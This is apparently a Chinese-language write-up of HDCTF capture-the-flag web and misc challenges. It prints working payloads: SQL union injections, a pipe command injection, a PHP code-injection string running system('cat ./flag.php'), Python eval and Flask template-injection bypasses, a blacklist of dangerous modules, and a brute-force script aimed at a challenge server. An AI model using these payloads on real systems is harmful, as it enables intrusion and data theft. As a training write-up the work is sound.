web

signin

直接查看网页源码,flag的base64编码就在里面
image.png
解码直接出flag
HDCTF{c7ce9f2d891f0ef68ce8c4eec4b92cc3padding}

babysql

直接上联合查询尝试位数
1' union select 1,2,3#
image.png
找回显位
' union select 1,2,3#
image.png
按照题目给的提示直接查flag
' union select 1,flag,3 from flag#
image.png

babyrce

是个ping输入地址的程序
没有过滤,直接管道符
127.0.0.1|cat /flag
image.png

easy_git

跟题目说的一样,直接访问/.git跳403,/.git存在
上githack直接获得flag
image.png
image.png

backup_file

直接index.php.bak获得源码
image.png
涉及一个弱比较绕过,当整数型和字符串做弱比较的时候会截取字符串前面数字部分作比较,没有数字部分就是0,这里key直接传123得flag
image.png

easy_file_include

打开网页点tip进去url上直接就是个?file=flag.php,直接filter
image.png
image.png

do_u_know_HTTP

照着提示在burpsuit里面加参数就行了
image.png

erciyuan

打开是张图片,加上一串编码后的字符串,放进burpsuit repeater里面获得的响应包头部里面有提示
image.png
文件名编码方式和flag储存文件都告诉我们了
同时返回的文件内容会经过base64编码,这个在图片数据里面也提示了
image.png
直接丢进环境里面跑编码,然后传上去
先读index.php的源码
image.png
解码后得到源码

<?php
error_reporting(0);
if (!function_exists('hex2bin')) {
    function hex2bin($hexdata){
      $bindata = '';
      for ($i=0; $i<strlen($hexdata); $i+=2){
          $bindata .= chr(hexdec(substr($hexdata,$i,2)));
      }
      return $bindata;
    }
}

if(!function_exists('bin2hex')) { 
    function bin2hex($str) { 
        $strl = strlen($str); 
        $fin = ''; 
        for($i =0; $i < $strl; $i++) { 
            $fin .= dechex(ord($str[$i])); 
        } 
        return $fin; 
    }
} 


@header('Hint: !HDCTF!.php && bin2hex(base64_encode(gzdeflate($file)))');
if(!isset($_GET['img']))
    header('Refresh:0;url=./index.php?img=53307a4a7a637a544b38684c4277413d');
$file = gzinflate(base64_decode(hex2bin($_GET['img'])));
echo '<title>HDCTF2nd</title>';
echo '<center><h3>'.$_GET['img'].'</h3>';
$file = preg_replace("/[^a-zA-Z0-9.]+/","", $file);
$file = str_replace("HnuSec","!", $file);
$txt = base64_encode(file_get_contents($file));
echo "<img src='data:image/gif;base64,".$txt."'></img></center>";

?>

可以得知HnuSec会被替换成!,所以我们需要传进去的是HnuSecHDCTFHnuSec.php的编码内容
image.png
解码出flag
image.png

hash_hmac

上来就提示的很清楚了
image.png
这里使用的是md5函数的漏洞,传入数组的时候会返回null,传x[]=1&y[]=2进去就能绕过,得到
image.png
image.png

welcome

随便输一个账号密码进去左上角就会给提示,照着提示输密码直接出flag
image.png

calculator_v1

题目给了源码,我们的输入直接被包在eval()里面
image.png
v1版没做过滤,直接调用os模块过
image.png
有一点值得注意的是system返回的只是执行状态,如果在这里使用system只会得到0,需要用popen,ls一看flag就在同路径,直接cat
payload
image.png
image.png

ezflask

考flask模板注入,用{{}}把表达式包裹传入
先翻翻config,下面直接就有os
image.png
payload
image.png
image.png

dudaima

image.png
考点是引用赋值绕过
把enter指向secret,放环境里面序列化一下,传上去即可
image.png
image.png

getshell

image.png
放环境里面跑,看下arr长啥样 ![image](http://www.ljhyyj.com/upload/2020/10/image-7949aba6ad9244e182911ec8a9238f6a.png) ![image](http://www.ljhyyj.com/upload/2020/10/image-d040cc5f4d9040de9a4718233025fd3b.png) 源码对输入没啥过滤,直接闭合前面的表达式 payload str=1,2,3");system('cat ./flag.php');// 进了arr就成这样了
array("1,2,3");system('cat ./flag.php');//")
image.png

warmup

和welcome基本一样,只是这次密码经过了编码,编码的方式也给在了左上
image.png
照着解一下就行
image.png

welcome_to_the_new

一道反序列化题,其他都无所谓,通过__destruct里面的include读flag即可
image.png
过下环境
image.png
得flag
image.png
image.png

calculator_v2

强化版,加了过滤
源码里面可以找到黑名单
blacklist = ['os', 'mro', 'request', 'args', 'eval', 'system', 'if', 'for', 'subprocess', 'file', 'builtins', 'compile', 'execfile', 'from_pyfile', 'config', 'local', 'self', 'enter', 'ls', 'sys', 'globals', 'read', 'popen']
完全匹配可以用字符串拼接绕过,但是read被毙了popen我们是用不成了,不过subprocess下面的getoutput还是能用
payload
image.png
image.png

simple_trick

和之前的dudaima没啥区别,也是引用赋值绕过,不过还涉及到一个php内置类
用stdClass来构造一个类完成绕过
image.png
image.png

welcome_to_the_new2

和上个除了一点外一模一样,就是变量名变成了Hai_nan.University,php接收参数时表单名里面的.会被转换成_
传的时候写成Hai[nan.University就能传进去
image.png
image.png
同样解码拿flag
image.png

calculator_v3

强化版改,在黑名单
blacklist = ['os', 'mro', 'request', 'args', 'eval', 'system', 'if', 'for', 'subprocess', 'file', 'builtins', 'compile', 'execfile', 'from_pyfile', 'config', 'local', 'self', 'enter', 'ls', 'sys', 'globals', 'popen', 'hex', 'ord']
的基础上添加了
if not str(answer).isdigit(): answer = '都不是数,还算个锤'
对输出结果的检查,如果表达式返回的结果不是数字就会被过滤
对应的办法是使用布尔注入爆破
脚本如下

import requests
import string
import re
resault=""
for i in range(18):
  for word in string.ascii_letters+string.digits+string.punctuation:
      payload={'question':"int('"+str(word)+"'==open('./flag','r').read()["+str(i)+":"+str(i+1)+"])"}
      r = requests.get("http://8.129.15.153:20021/",params=payload)
      print("checking:"+str(i)+" trying:"+str(word))
      if(r.status_code==200):
         if(re.search(r'\d(?=<\/label>)',r.text).group())=='1':
             resault=resault+word
             print(resault)
print(resault)

ezflask2

加强版,有过滤经过尝试可知flag、os、popen都挂了,os和flag都好拼,popen不太好搞,我们找找其他的,试了试open发现open好好的,再一找builtins还就有,那就直接open了
image.png
payload
image.png
image.png

杂项

一步之遥

考点是zip文件头部结构,修改全局方式位标记即可解除伪加密获得flag
用notepad++打开文件,查看hex,搜索目录中文件文件头标记标记50 4B 01 02,修改14 00后面的全局方式位标记01 00为00 00即可
image.png
打开压缩包内图片获得flag
image.png

girlfriend

流量分析题,用wireshark打开压缩包内的文件,从流量记录里面找到一个图片,导出即可获得flag
image.png
image.png

嘤语

把下载的txt文件里面的嘤全部替换成-,解摩斯电码得flag
image.png

奇怪的字符

leet语言
)-(o|K7|={|33']['K[]o|3#3|1}
没办法,嗯看吧,flag是
LEETCODEHELL

你真的了解dns吗

查询txt记录获得flag
查询方法
cmd里面敲nslookup -q=txt 域名